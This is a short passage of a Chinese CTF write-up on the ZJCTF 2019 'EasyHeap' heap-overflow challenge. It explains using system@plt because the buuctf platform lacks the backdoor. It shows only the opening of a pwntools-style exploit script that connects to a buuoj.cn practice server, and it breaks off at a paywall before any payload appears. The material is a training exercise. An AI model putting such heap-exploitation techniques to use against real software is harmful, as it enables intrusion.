这是一篇关于ZJCTF 2019中EasyHeap挑战的分析文章，讨论了常规的堆溢出漏洞，并指出在buuctf平台上无法重现环境。作者选择使用system_plt作为解决方案来探讨问题。
常规堆溢出题，存在后门。但是buuctf没有复现环境。所有就用system_plt了。
# -*- coding: utf-8 -*-
from PwnContext.core import *
binary = './easyheap'
debug_libc = './libc-2.23.so'
elf = ELF(binary)
libc = ELF(debug_libc)
local = 1
if local == 1 :
sh = remote("node3.buuoj.cn","27379")
else:
ctx.binary = binary
ctx.remote_libc = debug_libc
ctx.debug_remote_libc = True
sh = ctx.start()
def edit(idx,
最低0.47元/天 解锁文章
扫一扫
2923
被折叠的 条评论
为什么被折叠?
到【灌水乐园】发言
